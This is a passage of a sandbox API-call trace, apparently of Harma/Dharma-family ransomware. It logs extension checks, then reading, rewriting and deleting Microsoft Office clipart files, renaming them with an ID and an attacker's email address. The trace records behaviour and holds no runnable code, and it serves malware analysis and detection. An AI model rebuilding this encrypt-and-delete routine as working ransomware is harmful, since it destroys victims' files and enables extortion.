63 [0145.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0145.778] lstrlenW (lpString=".doc") returned 4 [0145.778] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.778] lstrlenW (lpString=".docx") returned 5 [0145.778] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.778] lstrlenW (lpString=".pdf") returned 4 [0145.778] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.778] lstrlenW (lpString=".xls") returned 4 [0145.778] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.778] lstrlenW (lpString=".xlsx") returned 5 [0145.778] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.778] lstrlenW (lpString=".ppt") returned 4 [0145.778] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0145.778] lstrlenW (lpString=".zip") returned 4 [0145.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.778] lstrlenW (lpString=".rar") returned 4 [0145.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.778] lstrlenW (lpString=".bz2") returned 4 [0145.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.778] lstrlenW (lpString=".7z") returned 3 [0145.779] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0145.779] lstrlenW (lpString=".dbf") returned 4 [0145.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0145.779] lstrlenW (lpString=".1cd") returned 4 [0145.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0145.779] lstrlenW (lpString=".jpg") returned 4 [0145.779] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0145.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0145.779] lstrlenW (lpString=".doc") returned 4 [0145.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.779] lstrlenW (lpString=".docx") returned 5 [0145.779] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.779] lstrlenW (lpString=".pdf") returned 4 [0145.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.779] lstrlenW (lpString=".xls") returned 4 [0145.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.779] lstrlenW (lpString=".xlsx") returned 5 [0145.779] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.779] lstrlenW (lpString=".ppt") returned 4 [0145.779] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0145.779] lstrlenW (lpString=".zip") returned 4 [0145.779] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.779] lstrlenW (lpString=".rar") returned 4 [0145.779] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.779] lstrlenW (lpString=".bz2") returned 4 [0145.780] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.780] lstrlenW (lpString=".7z") returned 3 [0145.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0145.780] lstrlenW (lpString=".dbf") returned 4 [0145.780] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0145.780] lstrlenW (lpString=".1cd") returned 4 [0145.780] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 63 [0145.780] lstrlenW (lpString=".jpg") returned 4 [0145.780] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.780] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0145.780] lstrlenW (lpString="BL00265_.WMF") returned 12 [0145.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0145.787] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=5752) returned 1 [0145.787] CloseHandle (hObject=0x2e8) returned 1 [0145.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf")) returned 0x20 [0145.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0145.814] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.814] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0145.815] GetLastError () returned 0x0 [0145.815] ReadFile (in: hFile=0x2e8, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x1678, lpOverlapped=0x0) returned 1 [0145.865] WriteFile (in: hFile=0x344, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1680, lpOverlapped=0x0) returned 1 [0145.866] ReadFile (in: hFile=0x2e8, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.866] WriteFile (in: hFile=0x344, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.866] SetEndOfFile (hFile=0x344) returned 1 [0145.866] CloseHandle (hObject=0x344) returned 1 [0145.866] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.866] SetEndOfFile (hFile=0x2e8) returned 1 [0145.869] CloseHandle (hObject=0x2e8) returned 1 [0145.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0145.869] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf")) returned 1 [0145.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0145.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0145.869] lstrlenW (lpString=".doc") returned 4 [0145.869] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.870] lstrlenW (lpString=".docx") returned 5 [0145.870] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.870] lstrlenW (lpString=".pdf") returned 4 [0145.870] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.870] lstrlenW (lpString=".xls") returned 4 [0145.870] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.870] lstrlenW (lpString=".xlsx") returned 5 [0145.870] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.870] lstrlenW (lpString=".ppt") returned 4 [0145.870] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0145.870] lstrlenW (lpString=".zip") returned 4 [0145.870] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.870] lstrlenW (lpString=".rar") returned 4 [0145.870] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.870] lstrlenW (lpString=".bz2") returned 4 [0145.870] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.870] lstrlenW (lpString=".7z") returned 3 [0145.870] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0145.870] lstrlenW (lpString=".dbf") returned 4 [0145.870] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0145.870] lstrlenW (lpString=".1cd") returned 4 [0145.870] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0145.870] lstrlenW (lpString=".jpg") returned 4 [0145.870] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0145.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0145.870] lstrlenW (lpString=".doc") returned 4 [0145.870] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0145.870] lstrlenW (lpString=".docx") returned 5 [0145.871] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0145.871] lstrlenW (lpString=".pdf") returned 4 [0145.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0145.871] lstrlenW (lpString=".xls") returned 4 [0145.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0145.871] lstrlenW (lpString=".xlsx") returned 5 [0145.871] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0145.871] lstrlenW (lpString=".ppt") returned 4 [0145.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0145.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0145.871] lstrlenW (lpString=".zip") returned 4 [0145.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0145.871] lstrlenW (lpString=".rar") returned 4 [0145.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0145.871] lstrlenW (lpString=".bz2") returned 4 [0145.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0145.871] lstrlenW (lpString=".7z") returned 3 [0145.871] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0145.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0145.871] lstrlenW (lpString=".dbf") returned 4 [0145.871] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0145.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0145.871] lstrlenW (lpString=".1cd") returned 4 [0145.871] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0145.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 63 [0145.871] lstrlenW (lpString=".jpg") returned 4 [0145.871] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0145.871] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0145.871] lstrlenW (lpString="BL00269_.WMF") returned 12 [0145.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0145.872] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=5272) returned 1 [0145.872] CloseHandle (hObject=0x2e8) returned 1 [0145.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf")) returned 0x20 [0145.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0145.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0145.872] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.873] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0145.873] GetLastError () returned 0x0 [0145.873] ReadFile (in: hFile=0x2e8, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x1498, lpOverlapped=0x0) returned 1 [0145.918] WriteFile (in: hFile=0x344, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x14a0, lpOverlapped=0x0) returned 1 [0145.919] ReadFile (in: hFile=0x2e8, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0145.919] WriteFile (in: hFile=0x344, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0145.919] SetEndOfFile (hFile=0x344) returned 1 [0145.919] CloseHandle (hObject=0x344) returned 1 [0145.919] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0145.919] SetEndOfFile (hFile=0x2e8) returned 1 [0146.407] CloseHandle (hObject=0x2e8) returned 1 [0146.407] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0146.408] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf")) returned 1 [0146.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0146.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0146.408] lstrlenW (lpString=".doc") returned 4 [0146.408] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.408] lstrlenW (lpString=".docx") returned 5 [0146.408] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.408] lstrlenW (lpString=".pdf") returned 4 [0146.408] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.409] lstrlenW (lpString=".xls") returned 4 [0146.409] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.409] lstrlenW (lpString=".xlsx") returned 5 [0146.409] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.409] lstrlenW (lpString=".ppt") returned 4 [0146.409] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0146.409] lstrlenW (lpString=".zip") returned 4 [0146.409] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.409] lstrlenW (lpString=".rar") returned 4 [0146.409] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.409] lstrlenW (lpString=".bz2") returned 4 [0146.409] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.409] lstrlenW (lpString=".7z") returned 3 [0146.409] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0146.409] lstrlenW (lpString=".dbf") returned 4 [0146.409] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0146.409] lstrlenW (lpString=".1cd") returned 4 [0146.409] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0146.409] lstrlenW (lpString=".jpg") returned 4 [0146.409] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0146.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0146.409] lstrlenW (lpString=".doc") returned 4 [0146.409] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0146.409] lstrlenW (lpString=".docx") returned 5 [0146.410] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0146.410] lstrlenW (lpString=".pdf") returned 4 [0146.410] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0146.410] lstrlenW (lpString=".xls") returned 4 [0146.410] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0146.410] lstrlenW (lpString=".xlsx") returned 5 [0146.410] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0146.410] lstrlenW (lpString=".ppt") returned 4 [0146.410] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0146.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0146.410] lstrlenW (lpString=".zip") returned 4 [0146.410] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0146.410] lstrlenW (lpString=".rar") returned 4 [0146.410] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0146.410] lstrlenW (lpString=".bz2") returned 4 [0146.410] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0146.410] lstrlenW (lpString=".7z") returned 3 [0146.410] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0146.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0146.410] lstrlenW (lpString=".dbf") returned 4 [0146.410] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0146.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0146.410] lstrlenW (lpString=".1cd") returned 4 [0146.410] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0146.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 63 [0146.410] lstrlenW (lpString=".jpg") returned 4 [0146.410] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0146.410] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0146.411] lstrlenW (lpString="BS00092_.WMF") returned 12 [0146.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0147.071] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=7974) returned 1 [0147.071] CloseHandle (hObject=0x354) returned 1 [0147.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf")) returned 0x20 [0147.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0147.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0147.112] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.112] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0147.113] GetLastError () returned 0x0 [0147.113] ReadFile (in: hFile=0x344, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x1f26, lpOverlapped=0x0) returned 1 [0147.121] WriteFile (in: hFile=0x350, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x1f30, lpOverlapped=0x0) returned 1 [0147.122] ReadFile (in: hFile=0x344, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0147.122] WriteFile (in: hFile=0x350, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0147.123] SetEndOfFile (hFile=0x350) returned 1 [0147.123] CloseHandle (hObject=0x350) returned 1 [0147.123] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0147.123] SetEndOfFile (hFile=0x344) returned 1 [0147.125] CloseHandle (hObject=0x344) returned 1 [0147.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0147.125] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00092_.wmf")) returned 1 [0147.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0147.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 63 [0147.126] lstrlenW (lpString=".doc") returned 4 [0147.126] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0147.127] lstrlenW (lpString=".docx") returned 5 [0147.127] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0147.127] lstrlenW (lpString=".pdf") returned 4 [0147.127] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0147.127] lstrlenW (lpString=".xls") returned 4 [0147.127] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0147.127] lstrlenW (lpString=".xlsx") returned 5 [0147.127] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 